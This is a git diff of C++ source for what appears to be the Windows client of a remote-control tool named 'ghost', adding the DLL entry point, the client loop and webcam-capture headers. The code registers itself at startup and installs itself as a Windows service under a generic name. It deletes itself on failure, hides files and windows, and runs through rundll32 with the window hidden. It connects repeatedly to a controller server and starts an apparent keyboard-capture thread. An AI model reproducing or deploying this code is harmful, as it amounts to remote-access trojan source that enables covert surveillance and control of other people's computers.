return -1;
}
};
class CCaptureVideo
{
public:
CCaptureVideo();
virtual ~CCaptureVideo();
LPBITMAPINFO GetBmpInfor();
HRESULT InitCaptureGraphBuilder();
HRESULT Open(int iDeviceID,int iPress);
BOOL BindVideoFilter(int deviceId, IBaseFilter **pFilter);
LPBYTE GetDIB(DWORD& dwSize);
int GetDIBBufSize() const
{
return mCB.m_dwSize;
}
BOOL m_bExit;
HWND m_hWnd;
static CSampleGrabberCB mCB;
IGraphBuilder * m_pGB; //通过该值可以访问 FCDO Filter Control Device Object
ICaptureGraphBuilder2* m_pCapture; //通过该值可以访问 真实CDO
IMediaControl* m_pMC; //过滤设备的接口
IVideoWindow* m_pVW;
IBaseFilter* m_pBF; //FDO
ISampleGrabber* m_pGrabber; //引脚 24Color
void FreeMediaType(AM_MEDIA_TYPE& mt);
void ResizeVideoWindow();
HRESULT SetupVideoWindow();
void SendEnd();
};
#endif // !defined(AFX_CAPTUREVIDEO_H__0984BB8E_6DCB_4A5C_8E03_1217AE6E409D__INCLUDED_)

14
client/ClientApp.h Normal file
View File

@@ -0,0 +1,14 @@
#pragma once
class App
{
public:
App() {}
virtual ~App() {}
virtual bool Initialize() = 0;
virtual bool Start() = 0;
virtual bool Stop() = 0;
virtual bool IsMainInstance() = 0;
};

615
client/ClientDll.cpp Normal file
View File

@@ -0,0 +1,615 @@
// ClientDll.cpp : Defines the entry point for the DLL application.
//
#include "stdafx.h"
#include "ClientDll.h"
#include <common/iniFile.h>
#include <common/LANChecker.h>
#include <common/VerifyV2.h>
extern "C" {
#include "reg_startup.h"
#include "ServiceWrapper.h"
}
// 自动启动注册表中的值
#define REG_NAME GetExeHashStr().c_str()
// 启动的客户端个数
#define CLIENT_PARALLEL_NUM 1
// 远程地址
CONNECT_ADDRESS g_SETTINGS = {
FLAG_GHOST, "127.0.0.1", "6543", CLIENT_TYPE_DLL, false, DLL_VERSION,
FALSE, Startup_DLL, PROTOCOL_HELL, PROTO_TCP, RUNNING_RANDOM, "default", 0, {},
0, 0, 7057226198541618915, {},
};
// 最终客户端只有2个全局变量: g_SETTINGS、g_MyApp而g_SETTINGS作为g_MyApp的成员.
// 因此全局来看只有一个全局变量: g_MyApp
ClientApp g_MyApp(&g_SETTINGS, IsClientAppRunning);
enum { E_RUN, E_STOP, E_EXIT } status;
int ClientApp::m_nCount = 0;
CLock ClientApp::m_Locker;
BOOL IsProcessExit()
{
return g_MyApp.g_bExit == S_CLIENT_EXIT;
}
BOOL IsSharedRunning(void* thisApp)
{
ClientApp* This = (ClientApp*)thisApp;
// 只在进程退出时停止分享连接,原服务端的状态变化不应影响分享连接
return !IsProcessExit() && (S_CLIENT_NORMAL == This->g_bExit);
}
BOOL IsClientAppRunning(void* thisApp)
{
ClientApp* This = (ClientApp*)thisApp;
return S_CLIENT_NORMAL == This->g_bExit;
}
ClientApp* NewClientStartArg(const char* remoteAddr, IsRunning run, BOOL shared)
{
auto v = StringToVector(remoteAddr, ':', 2);
if (v[0].empty() || v[1].empty())
return nullptr;
auto a = new ClientApp(g_MyApp.g_Connection, run, shared);
a->g_Connection->SetServer(v[0].c_str(), atoi(v[1].c_str()));
return a;
}
DWORD WINAPI StartClientApp(LPVOID param)
{
ClientApp::AddCount(1);
ClientApp* app = (ClientApp*)param;
CONNECT_ADDRESS& settings(*(app->g_Connection));
const char* ip = settings.ServerIP();
int port = settings.ServerPort();
State& bExit(app->g_bExit);
if (ip != NULL && port > 0) {
settings.SetServer(ip, port);
}
if (strlen(settings.ServerIP()) == 0 || settings.ServerPort() <= 0) {
Mprintf("参数不足: 请提供远程主机IP和端口!\n");
Sleep(3000);
} else {
app->g_hInstance = GetModuleHandle(NULL);
Mprintf("[ClientApp: %d] Total [%d] %s:%d \n", app->m_ID, app->GetCount(), settings.ServerIP(), settings.ServerPort());
do {
bExit = S_CLIENT_NORMAL;
HANDLE hThread = __CreateThread(NULL, 0, StartClient, app, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
SAFE_CLOSE_HANDLE(hThread);
if (IsProcessExit()) // process exit
break;
if (app->m_bShared) {
WAIT_n(!IsProcessExit(), 5, 200);
}
} while (E_RUN == status && S_CLIENT_EXIT != bExit);
}
auto r = app->m_ID;
if (app != &g_MyApp) delete app;
ClientApp::AddCount(-1);
return r;
}
/**
* @brief 等待多个句柄支持超过MAXIMUM_WAIT_OBJECTS限制
* @param handles 句柄数组
* @param waitAll 是否等待所有句柄完成TRUE=全部, FALSE=任意一个)
* @param timeout 超时时间毫秒INFINITE表示无限等待
* @return 等待结果WAIT_OBJECT_0成功, WAIT_FAILED失败
*/
DWORD WaitForMultipleHandlesEx(
const std::vector<HANDLE>& handles,
BOOL waitAll = TRUE,
DWORD timeout = INFINITE
)
{
const DWORD MAX_WAIT = MAXIMUM_WAIT_OBJECTS; // 系统限制64
DWORD totalHandles = static_cast<DWORD>(handles.size());
// 1. 检查句柄有效性
for (HANDLE h : handles) {
if (h == NULL || h == INVALID_HANDLE_VALUE) {
SetLastError(ERROR_INVALID_HANDLE);
return WAIT_FAILED;
}
}
// 2. 如果句柄数≤64直接调用原生API
if (totalHandles <= MAX_WAIT) {
return WaitForMultipleObjects(totalHandles, handles.data(), waitAll, timeout);
}
// 3. 分批等待逻辑
if (waitAll) {
// 必须等待所有句柄完成
for (DWORD i = 0; i < totalHandles; i += MAX_WAIT) {
DWORD batchSize = min(MAX_WAIT, totalHandles - i);
DWORD result = WaitForMultipleObjects(
batchSize,
&handles[i],
TRUE, // 必须等待当前批次全部完成
timeout
);
if (result == WAIT_FAILED) {
return WAIT_FAILED;
}
}
return WAIT_OBJECT_0;
} else {
// 只需等待任意一个句柄完成
while (true) {
for (DWORD i = 0; i < totalHandles; i += MAX_WAIT) {
DWORD batchSize = min(MAX_WAIT, totalHandles - i);
DWORD result = WaitForMultipleObjects(
batchSize,
&handles[i],
FALSE, // 当前批次任意一个完成即可
timeout
);
if (result != WAIT_FAILED && result != WAIT_TIMEOUT) {
return result + i; // 返回全局索引
}
}
if (timeout != INFINITE) {
return WAIT_TIMEOUT;
}
}
}
}
#if _CONSOLE
#include "auto_start.h"
// 隐藏控制台
// 参看https://blog.csdn.net/lijia11080117/article/details/44916647
// step1: 在链接器"高级"设置入口点为mainCRTStartup
// step2: 在链接器"系统"设置系统为窗口
// 完成
BOOL CALLBACK callback(DWORD CtrlType)
{
#ifdef _DEBUG
BOOL isClose = (CtrlType == CTRL_C_EVENT) || (CtrlType == CTRL_CLOSE_EVENT);
#else
BOOL isClose = (CtrlType == CTRL_CLOSE_EVENT);
#endif
if (isClose) {
g_MyApp.g_bExit = S_CLIENT_EXIT;
while (E_RUN == status)
Sleep(20);
}
return TRUE;
}
int main(int argc, const char *argv[])
{
Mprintf("启动运行: %s %s. Arg Count: %d\n", argv[0], argc>1 ? argv[1] : "", argc);
InitWindowsService(NewService(
g_SETTINGS.installName[0] ? g_SETTINGS.installName : "RemoteControlService",
g_SETTINGS.installDir[0] ? g_SETTINGS.installDir : "Remote Control Service",
g_SETTINGS.installDesc[0] ? g_SETTINGS.installDesc : "Provides remote desktop control functionality."), Log);
bool isService = g_SETTINGS.iStartup == Startup_GhostMsc || IsSystemInSession0();
// 注册启动项
int r = RegisterStartup(
g_SETTINGS.installDir[0] ? g_SETTINGS.installDir : "Windows Ghost",
g_SETTINGS.installName[0] ? g_SETTINGS.installName : "WinGhost",
!isService, g_SETTINGS.runasAdmin, Logf);
if (r <= 0) {
BOOL s = self_del();
if (!IsDebug) {
Mprintf("结束运行.\n");
Sleep(1000);
return r;
}
}
if (!SetSelfStart(argv[0], REG_NAME, Logf)) {
Mprintf("设置开机自启动失败,请用管理员权限运行.\n");
}
if (isService) {
g_SETTINGS.iStartup = Startup_GhostMsc;
bool ret = RunAsWindowsService(argc, argv);
Mprintf("RunAsWindowsService %s. Arg Count: %d\n", ret ? "succeed" : "failed", argc);
for (int i = 0; !ret && i < argc; i++) {
Mprintf(" Arg [%d]: %s\n", i, argv[i]);
}
if (ret) {
Mprintf("结束运行.\n");
Sleep(1000);
return 0x20251123;
}
}
status = E_RUN;
HANDLE hMutex = ::CreateMutexA(NULL, TRUE, GetExeHashStr().c_str());
if (ERROR_ALREADY_EXISTS == GetLastError()) {
SAFE_CLOSE_HANDLE(hMutex);
hMutex = NULL;
#ifndef _DEBUG
Mprintf("结束运行.\n");
Sleep(1000);
return -2;
#endif
}
SetConsoleCtrlHandler(&callback, TRUE);
const char* ip = (argc > 1 && argv[1][0] != '-') ? argv[1] : NULL;
int port = argc > 2 ? atoi(argv[2]) : 6543;
ClientApp& app(g_MyApp);
app.g_Connection->SetType(CLIENT_TYPE_ONE);
app.g_Connection->SetServer(ip, port);
#ifdef _DEBUG
g_SETTINGS.SetServer(ip, port);
#endif
if (CLIENT_PARALLEL_NUM == 1) {
// 启动单个客户端
StartClientApp(&app);
} else {
std::vector<HANDLE> handles(CLIENT_PARALLEL_NUM);
for (int i = 0; i < CLIENT_PARALLEL_NUM; i++) {
auto client = new ClientApp(app.g_Connection, IsSharedRunning, FALSE);
handles[i] = __CreateSmallThread(0, 0, 64*1024, StartClientApp, client->SetID(i), 0, 0);
if (handles[i] == 0) {
Mprintf("线程 %d 创建失败,错误: %d\n", i, errno);
}
}
DWORD result = WaitForMultipleHandlesEx(handles, TRUE, INFINITE);
if (result == WAIT_FAILED) {
Mprintf("WaitForMultipleObjects 失败,错误代码: %d\n", GetLastError());
}
}
ClientApp::Wait();
status = E_STOP;
SAFE_CLOSE_HANDLE(hMutex);
Mprintf("结束运行.\n");
Sleep(500);
if (isService) {
Mprintf("CALL ServiceWrapper_Stop.\n");
int r = ServiceWrapper_Stop();
}
Logger::getInstance().stop();
return 0;
}
#else
extern "C" __declspec(dllexport) void TestRun(char* szServerIP, int uPort);
// Auto run main thread after load the DLL
DWORD WINAPI AutoRun(LPVOID param)
{
do {
TestRun(NULL, 0);
} while (S_SERVER_EXIT == g_MyApp.g_bExit);
if (g_MyApp.g_Connection->ClientType() == CLIENT_TYPE_SHELLCODE) {
HMODULE hInstance = (HMODULE)param;
FreeLibraryAndExitThread(hInstance, -1);
}
return 0;
}
BOOL APIENTRY DllMain( HINSTANCE hInstance,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH: {
g_MyApp.g_hInstance = (HINSTANCE)hInstance;
CloseHandle(__CreateThread(NULL, 0, AutoRun, hInstance, 0, NULL));
break;
}
case DLL_PROCESS_DETACH:
g_MyApp.g_bExit = S_CLIENT_EXIT;
break;
}
return TRUE;
}
// 启动运行一个ghost
extern "C" __declspec(dllexport) void TestRun(char* szServerIP,int uPort)
{
ClientApp& app(g_MyApp);
CONNECT_ADDRESS& settings(*(app.g_Connection));
if (app.IsThreadRun()) {
settings.SetServer(szServerIP, uPort);
Mprintf("TestRun SetServer[%s:%d]\n", szServerIP ? szServerIP : "", uPort);
return;
}
app.SetThreadRun(TRUE);
app.SetProcessState(S_CLIENT_NORMAL);
settings.SetServer(szServerIP, uPort);
HANDLE hThread = __CreateThread(NULL,0,StartClient, &app,0,NULL);
if (hThread == NULL) {
app.SetThreadRun(FALSE);
return;
}
#ifdef _DEBUG
WaitForSingleObject(hThread, INFINITE);
#else
WaitForSingleObject(hThread, INFINITE);
#endif
SAFE_CLOSE_HANDLE(hThread);
}
// 停止运行
extern "C" __declspec(dllexport) void StopRun()
{
g_MyApp.g_bExit = S_CLIENT_EXIT;
}
// 是否成功停止
extern "C" __declspec(dllexport) bool IsStoped()
{
return g_MyApp.g_bThreadExit && ClientApp::GetCount() == 0;
}
// 是否退出客户端
extern "C" __declspec(dllexport) BOOL IsExit()
{
return g_MyApp.g_bExit;
}
// 简单运行此程序,无需任何参数
extern "C" __declspec(dllexport) int EasyRun()
{
ClientApp& app(g_MyApp);
CONNECT_ADDRESS& settings(*(app.g_Connection));
do {
TestRun((char*)settings.ServerIP(), settings.ServerPort());
while (!IsStoped())
Sleep(50);
if (S_CLIENT_EXIT == app.g_bExit) // 受控端退出
break;
else if (S_SERVER_EXIT == app.g_bExit)
continue;
else // S_CLIENT_UPDATE: 程序更新
break;
} while (true);
return app.g_bExit;
}
// copy from: SimpleRemoter\client\test.cpp
// 启用新的DLL
void RunNewDll(const char* cmdLine)
{
char path[_MAX_PATH], * p = path;
GetModuleFileNameA(NULL, path, sizeof(path));
while (*p) ++p;
while ('\\' != *p) --p;
*(p + 1) = 0;
std::string folder = path;
std::string oldFile = folder + "ServerDll.old";
std::string newFile = folder + "ServerDll.new";
strcpy(p + 1, "ServerDll.dll");
BOOL ok = TRUE;
if (_access(newFile.c_str(), 0) != -1) {
if (_access(oldFile.c_str(), 0) != -1) {
if (!DeleteFileA(oldFile.c_str())) {
Mprintf("Error deleting file. Error code: %d\n", GetLastError());
ok = FALSE;
}
}
if (ok && !MoveFileA(path, oldFile.c_str())) {
Mprintf("Error removing file. Error code: %d\n", GetLastError());
if (_access(path, 0) != -1) {
ok = FALSE;
}
} else {
// 设置文件属性为隐藏
if (SetFileAttributesA(oldFile.c_str(), FILE_ATTRIBUTE_HIDDEN)) {
Mprintf("File created and set to hidden: %s\n", oldFile.c_str());
}
}
if (ok && !MoveFileA(newFile.c_str(), path)) {
Mprintf("Error removing file. Error code: %d\n", GetLastError());
MoveFileA(oldFile.c_str(), path);// recover
} else if (ok) {
Mprintf("Using new file: %s\n", newFile.c_str());
}
}
char cmd[1024];
sprintf_s(cmd, "%s,Run %s", path, cmdLine);
ShellExecuteA(NULL, "open", "rundll32.exe", cmd, NULL, SW_HIDE);
}
/* 运行客户端的核心代码. 此为定义导出函数, 满足 rundll32 调用约定.
HWND hwnd: 父窗口句柄(通常为 NULL
HINSTANCE hinst: DLL 的实例句柄。
LPSTR lpszCmdLine: 命令行参数,作为字符串传递给函数。
int nCmdShow: 窗口显示状态。
运行命令rundll32.exe ClientDemo.dll,Run 127.0.0.1:6543
优先从命令行参数中读取主机地址,如果不指定主机就从全局变量读取。
*/
extern "C" __declspec(dllexport) void Run(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow)
{
ClientApp& app(g_MyApp);
CONNECT_ADDRESS& settings(*(app.g_Connection));
State& bExit(app.g_bExit);
char message[256] = { 0 };
if (strlen(lpszCmdLine) != 0) {
strcpy_s(message, lpszCmdLine);
} else if (settings.IsValid()) {
sprintf_s(message, "%s:%d", settings.ServerIP(), settings.ServerPort());
}
std::istringstream stream(message);
std::string item;
std::vector<std::string> result;
while (std::getline(stream, item, ':')) {
result.push_back(item);
}
if (result.size() == 1) {
result.push_back("80");
}
if (result.size() != 2) {
MessageBox(hwnd, "请提供正确的主机地址!", "提示", MB_OK);
return;
}
do {
TestRun((char*)result[0].c_str(), atoi(result[1].c_str()));
while (!IsStoped())
Sleep(20);
if (bExit == S_CLIENT_EXIT)
return;
else if (bExit == S_SERVER_EXIT)
continue;
else // S_CLIENT_UPDATE
break;
} while (true);
sprintf_s(message, "%s:%d", settings.ServerIP(), settings.ServerPort());
RunNewDll(message);
}
#endif
bool ParseAuthServer(const std::string& auth, std::string& host, int& port, bool b=false);
void ParseAuthServer(CONNECT_ADDRESS *conn) {
config* cfg = IsDebug ? (config*)new config() : (config*)new iniFile();
std::string host = conn->ServerIP();
int port = conn->ServerPort();
if (ParseAuthServer(cfg->GetStr("settings", "Authorization"), host, port, true))
conn->SetServer(host.c_str(), port);
delete cfg;
}
DWORD WINAPI StartClient(LPVOID lParam)
{
ClientApp& app(*(ClientApp*)lParam);
CONNECT_ADDRESS& settings(*(app.g_Connection));
BOOL assigned = FALSE;
iniFile cfg(CLIENT_PATH);
double valid_to = 0;
std::string ip = settings.ServerIP();
int port = settings.ServerPort();
Mprintf("StartClient begin[%s:%d]\n", ip.c_str(), port);
if (!app.m_bShared) {
auto now = time(0);
valid_to = atof(cfg.GetStr("settings", "valid_to").c_str());
if (assigned = now <= valid_to) {
auto saved_ip = cfg.GetStr("settings", "master");
auto saved_port = cfg.GetInt("settings", "port");
settings.SetServer(saved_ip.c_str(), saved_port);
Mprintf("[StartClient] Client is assigned to %s:%d- %ds left.\n", saved_ip.c_str(), saved_port,
int(valid_to-now));
}
}
auto list = app.GetSharedMasterList();
if (list.size() > 1 && settings.runningType == RUNNING_PARALLEL) {
for (int i=1; i<list.size(); ++i) {
std::string addr = list[i] + ":" + std::to_string(settings.ServerPort());
auto a = NewClientStartArg(addr.c_str(), IsSharedRunning, TRUE);
if (nullptr != a) CloseHandle(__CreateThread(0, 0, StartClientApp, a, 0, 0));
}
// The main ClientApp.
settings.SetServer(list[0].c_str(), settings.ServerPort());
}
if (!app.m_bShared) {
auto a = cfg.GetStr("settings", "share_list");
auto shareList = a.empty() ? std::vector<std::string>{} : StringToVector(a, '|');
for (int i = 0; i < shareList.size(); ++i) {
auto a = NewClientStartArg(shareList[i].c_str(), IsSharedRunning, TRUE);
if (nullptr != a) CloseHandle(__CreateThread(0, 0, StartClientApp, a, 0, 0));
Mprintf("[StartClient] Client is shared to %s.\n", shareList[i].c_str());
}
}
std::string expiredDate;
BOOL isAuthKernel = IsAuthKernel(expiredDate);
if (isAuthKernel) ParseAuthServer(&settings);
std::string pubIP = cfg.GetStr("settings", "public_ip", "");
// V2 authorization supports offline mode, verify signature and skip timeout check
VERIFY_V2_AND_SET_AUTHORIZED();
State& bExit(app.g_bExit);
IOCPClient *ClientObject = NewNetClient(&settings, bExit, pubIP);
if (nullptr == ClientObject) return -1;
CKernelManager* Manager = nullptr;
if (!app.m_bShared) {
if (NULL == app.g_hEvent) {
app.g_hEvent = CreateEventA(NULL, TRUE, FALSE, EVENT_FINISHED);
}
if (app.g_hEvent == NULL) {
Mprintf("[StartClient] Failed to create event: %s! %d.\n", EVENT_FINISHED, GetLastError());
}
}
app.SetThreadRun(TRUE);
ThreadInfo* kb = CreateKB(&settings, bExit, pubIP);
while (app.m_bIsRunning(&app)) {
ULONGLONG dwTickCount = GetTickCount64();
if (!ClientObject->ConnectServer(settings.ServerIP(), settings.ServerPort())) {
Mprintf("[ConnectServer] ---> %s:%d.\n", settings.ServerIP(), settings.ServerPort());
for (int k = 300+(IsDebug ? rand()%600:rand()%6000); app.m_bIsRunning(&app) && --k; Sleep(10));
SetThreadExecutionState(ES_CONTINUOUS | ES_SYSTEM_REQUIRED);
// Check auth timeout for trial/unauthorized users while waiting to reconnect
if (isAuthKernel && AuthTimeoutChecker::NeedCheck())
AuthTimeoutChecker::Check();
continue;
}
SAFE_DELETE(Manager);
//准备第一波数据
LOGIN_INFOR login = GetLoginInfo(GetTickCount64() - dwTickCount, settings, expiredDate);
Manager = isAuthKernel ? new AuthKernelManager(&settings, ClientObject, app.g_hInstance, kb, bExit) :
new CKernelManager(&settings, ClientObject, app.g_hInstance, kb, bExit);
Manager->SetClientApp(&app);
Manager->SetLoginMsg(login.szStartTime + std::string("|") + std::to_string(settings.clientID));
while (ClientObject->IsRunning() && ClientObject->IsConnected() && !ClientObject->SendLoginInfo(login))
WAIT_n(app.m_bIsRunning(&app), 5 + time(0)%10, 200);
WAIT_n(app.m_bIsRunning(&app)&& ClientObject->IsRunning() && ClientObject->IsConnected(), 10, 200);
do {
Manager->SendHeartbeat();
SetThreadExecutionState(ES_CONTINUOUS | ES_SYSTEM_REQUIRED);
if (assigned && time(0) > valid_to) {
app.SetProcessState(S_CLIENT_UPDATE);
settings.SetServer(ip.c_str(), port);
Mprintf("[StartClient] Client is restored to %s:%d\n", ip.c_str(), port);
}
} while (ClientObject->IsRunning() && ClientObject->IsConnected() && app.m_bIsRunning(&app));
while (GetTickCount64() - dwTickCount < 5000 && app.m_bIsRunning(&app))
Sleep(200);
}
kb->Exit(10);
SAFE_DELETE(kb);
if (app.g_bExit == S_CLIENT_EXIT && app.g_hEvent && !app.m_bShared) {
BOOL b = SetEvent(app.g_hEvent);
Mprintf(">>> [StartClient] Set event: %s %s!\n", EVENT_FINISHED, b ? "succeed" : "failed");
SAFE_CLOSE_HANDLE(app.g_hEvent);
app.g_hEvent = NULL;
}
if (app.g_bExit == S_CLIENT_EXIT) {
CKernelManager::g_IsAppExit = 2;
Sleep(200);
}
Mprintf("StartClient end\n");
delete ClientObject;
SAFE_DELETE(Manager);
app.SetThreadRun(FALSE);
return 0;
}

139
client/ClientDll.h Normal file
View File

@@ -0,0 +1,139 @@
#pragma once
#include "Common.h"
#include "IOCPClient.h"
#include <IOSTREAM>
#include "LoginServer.h"
#include "KernelManager.h"
#include <iosfwd>
#include <vector>
#include <iostream>
#include <fstream>
#include <sstream>
#include <shellapi.h>
#include <corecrt_io.h>
#include "domain_pool.h"
#include "ClientApp.h"
BOOL IsProcessExit();
typedef BOOL(*IsRunning)(void* thisApp);
BOOL IsSharedRunning(void* thisApp);
BOOL IsClientAppRunning(void* thisApp);
DWORD WINAPI StartClientApp(LPVOID param);
// 客户端类:将全局变量打包到一起.
class ClientApp : public App
{
public:
State g_bExit; // 应用程序状态1-被控端退出 2-主控端退出 3-其他条件)
BOOL g_bThreadExit; // 工作线程状态
HINSTANCE g_hInstance; // 进程句柄
CONNECT_ADDRESS* g_Connection; // 连接信息
HANDLE g_hEvent; // 全局事件
BOOL m_bShared; // 是否分享
IsRunning m_bIsRunning; // 运行状态
unsigned m_ID; // 唯一标识
static int m_nCount; // 计数器
static CLock m_Locker;
ClientApp(CONNECT_ADDRESS*conn, IsRunning run, BOOL shared=FALSE)
{
g_bExit = S_CLIENT_NORMAL;
g_bThreadExit = FALSE;
g_hInstance = NULL;
g_Connection = new CONNECT_ADDRESS(*conn);
g_hEvent = NULL;
m_bIsRunning = run;
m_bShared = shared;
m_ID = 0;
g_bThreadExit = TRUE;
}
std::vector<std::string> GetSharedMasterList()
{
DomainPool pool = g_Connection->ServerIP();
auto list = pool.GetIPList();
return list;
}
~ClientApp()
{
SAFE_DELETE(g_Connection);
}
ClientApp* SetID(unsigned id)
{
m_ID = id;
return this;
}
static void AddCount(int n=1)
{
m_Locker.Lock();
m_nCount+=n;
m_Locker.Unlock();
}
static int GetCount()
{
m_Locker.Lock();
int n = m_nCount;
m_Locker.Unlock();
return n;
}
static void Wait()
{
while (GetCount())
Sleep(50);
}
bool IsThreadRun()
{
m_Locker.Lock();
BOOL n = g_bThreadExit;
m_Locker.Unlock();
return FALSE == n;
}
void SetThreadRun(BOOL run = TRUE)
{
m_Locker.Lock();
g_bThreadExit = !run;
m_Locker.Unlock();
}
void SetProcessState(State state = S_CLIENT_NORMAL)
{
m_Locker.Lock();
g_bExit = state;
m_Locker.Unlock();
}
virtual bool Initialize() override
{
g_Connection->SetType(CLIENT_TYPE_ONE);
return true;
}
virtual bool Start() override
{
StartClientApp(this);
return true;
}
virtual bool Stop() override
{
g_bExit = S_CLIENT_EXIT;
return true;
}
bool Run()
{
if (!Initialize()) return false;
if (!Start()) return false;
if (!Stop()) return false;
return true;
}
virtual bool IsMainInstance()override {
return !m_bShared;
}
};
ClientApp* NewClientStartArg(const char* remoteAddr, IsRunning run = IsClientAppRunning, BOOL shared=FALSE);
// 启动核心线程参数为ClientApp
DWORD WINAPI StartClient(LPVOID lParam);
// 启动核心线程参数为ClientApp
DWORD WINAPI StartClientApp(LPVOID param);

View File

@@ -0,0 +1,270 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<ProjectGuid>{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}</ProjectGuid>
<RootNamespace>ClientDll</RootNamespace>
<ProjectName>ServerDll</ProjectName>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet>
<UseOfMfc>false</UseOfMfc>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet>
<UseOfMfc>false</UseOfMfc>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(ProjectDir)proxy;$(SolutionDir)common;$(SolutionDir)compress;$(SolutionDir)compress\ffmpeg</IncludePath>
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)compress;$(SolutionDir)lib;$(LibraryPath)</LibraryPath>
<IntDir>$(Configuration)\dll</IntDir>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(ProjectDir)proxy;$(SolutionDir)common;$(SolutionDir)compress;$(SolutionDir)compress\ffmpeg</IncludePath>
<LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)compress;$(SolutionDir)lib;$(LibraryPath)</LibraryPath>
<IntDir>$(Platform)\$(Configuration)\dll</IntDir>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)compress;$(SolutionDir)lib;$(LibraryPath)</LibraryPath>
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(ProjectDir)proxy;$(SolutionDir)common;$(SolutionDir)compress;$(SolutionDir)compress\ffmpeg</IncludePath>
<IntDir>$(Configuration)\dll</IntDir>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)compress;$(SolutionDir)lib;$(LibraryPath)</LibraryPath>
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(ProjectDir)proxy;$(SolutionDir)common;$(SolutionDir)compress;$(SolutionDir)compress\ffmpeg</IncludePath>
<IntDir>$(Platform)\$(Configuration)\dll</IntDir>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<AdditionalIncludeDirectories>$(SolutionDir);./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
<PreprocessorDefinitions>ZLIB_WINAPI;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<MultiProcessorCompilation>true</MultiProcessorCompilation>
<MinimalRebuild>false</MinimalRebuild>
